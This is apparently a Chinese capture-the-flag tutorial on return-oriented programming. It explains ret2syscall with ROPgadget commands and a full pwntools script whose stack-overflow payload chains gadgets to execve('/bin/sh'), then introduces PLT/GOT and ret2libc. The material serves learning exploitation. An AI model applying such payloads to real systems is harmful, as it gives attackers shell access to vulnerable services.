天天看點

[pwn] 4.ROP

文章目錄

  • ​​ROP傳回導向程式設計​​
  • ​​ret2syscall​​
  • ​​動态連結及PLT和GOT表​​
  • ​​ret2libc​​

ROP傳回導向程式設計

(Return Oriented Programming)傳回導向程式設計

在棧溢出的基礎上,利用程式中可執行的一些代碼片段組合起來修改相應的寄存器,并控制程式的執行流程,最終執行shell指令。

控制程式執行流程就需要有ret結尾的指令,這類指令序列叫gadget

ROP攻擊需要滿足兩個條件

1、存在棧溢出漏洞

2、程式本身有需要構造指令的代碼片段

ROP原理的重點

需要知道ret指令的效果是​​

​pop %eip​

​,即出棧給eip,也就是下一條指令的位址賦給eip。同時esp指向上一塊位址。

ret2syscall

傳回給系統調用

篡改棧幀上自傳回位址開始的一段區域為一系列gadget的位址,最終調用目标系統調用

系統調用的語句​​

​execve("/bin/sh", NULL, NULL)​

​,需要以下操作

eax-> 0xb
ebx->"/bin/sh"的位址
ecx-> 0
edx-> 0
int 0x80      

即通過rop給這幾個寄存器指派,并且最後執行​

​int 0x80​

​指令。

題目連結:https://pan.baidu.com/s/1TS-7SZs4qEW0-PrY207Irw 提取碼:6qcq

[pwn] 4.ROP

v4變量可以棧溢出,并且有​​

​/bin/sh​

​字元串

​ROPgadget --binary ret2syscall --only "pop|ret"​

​檢視程式的ret和pop指令,主要通過pop給寄存器指派,ret改變程式流程

[pwn] 4.ROP
[pwn] 4.ROP

找到了可以修改eax,ebx,ecx,edx的兩條指令

[pwn] 4.ROP

​​

​ROPgadget --binary ret2syscall --only 'int'​

​​

​ROPgadget --binary ret2syscall --string '/bin/sh'​

​ 也可以獲得​

​/bin/sh​

​和​

​int 0x80​

​的位址。

最終得到棧溢出内容如下

[pwn] 4.ROP

然後通過​​

​ebp-v4​

​​得到​

​0xffffd0d8-0xffffd06c=108​

​,再加4個位元組覆寫ebp内容。

from pwn import *

int_addr = 0x08049421
pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_addr = 0x0806eb90
bin_sh_addr = 0x080be408
payload = b'a'*(108+4) + p32(pop_eax_ret_addr) + p32(0xb) + \
    p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + \
    p32(bin_sh_addr) + p32(int_addr)

r = process("./ret2syscall")
r.recvuntil("What do you plan to do?\n")
r.sendline(payload)
r.interactive()      

動态連結及PLT和GOT表

靜态連結是指在程式連結時就把所有用到的函數庫連結起來,并将代碼位址進行重定位,此時叫連結時重定位。ret2syscall就是在此基礎上才可以實作的。

動态連結是指在程式在運作時需要用到哪個庫函數,就把哪個庫裝入記憶體,這個時候再進行重定位,此時叫運作時重定位。

對于動态連結,如何擷取函數位址,主要用到兩個表

一個是PLT表(Procedure Link Table)程式連結表,一個是GOT表(Global Offset Table)全局偏移表

PLT表中的每一個表項的内容都是對應的GOT表中這一項的位址,PLT表中的資料不是函數的真實位址,而是GOT表項的位址。

GOT表項中的資料才是函數真實的位址,是以可以通過PLT表跳轉到GOT表來得到函數真正的位址。

是以在程式運作時,會先找plt表,然後根據plt中表項的内容找got表中的内容(函數的位址),然後再去執行函數。

[pwn] 4.ROP

ret2libc

篡改棧幀上從傳回位址開始的一段區域為一系列gadget的位址,最終調用libc中的函數,進而擷取shell。

确定參數在棧中的位置

前面做的題目都是直接覆寫傳回位址,不需要向傳回到的那個函數傳遞什麼參數。

但是這裡函數需要參數,需要注意這個參數應該在棧中的哪個位置。

對于普通的函數調用,比如以下代碼

int mian(){
  system("/bin/sh");
  return 0;
}      
io = process("./file")
io = remote("ip", "port")
elf = ELF("./file")
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh"))擷取位址      

繼續閱讀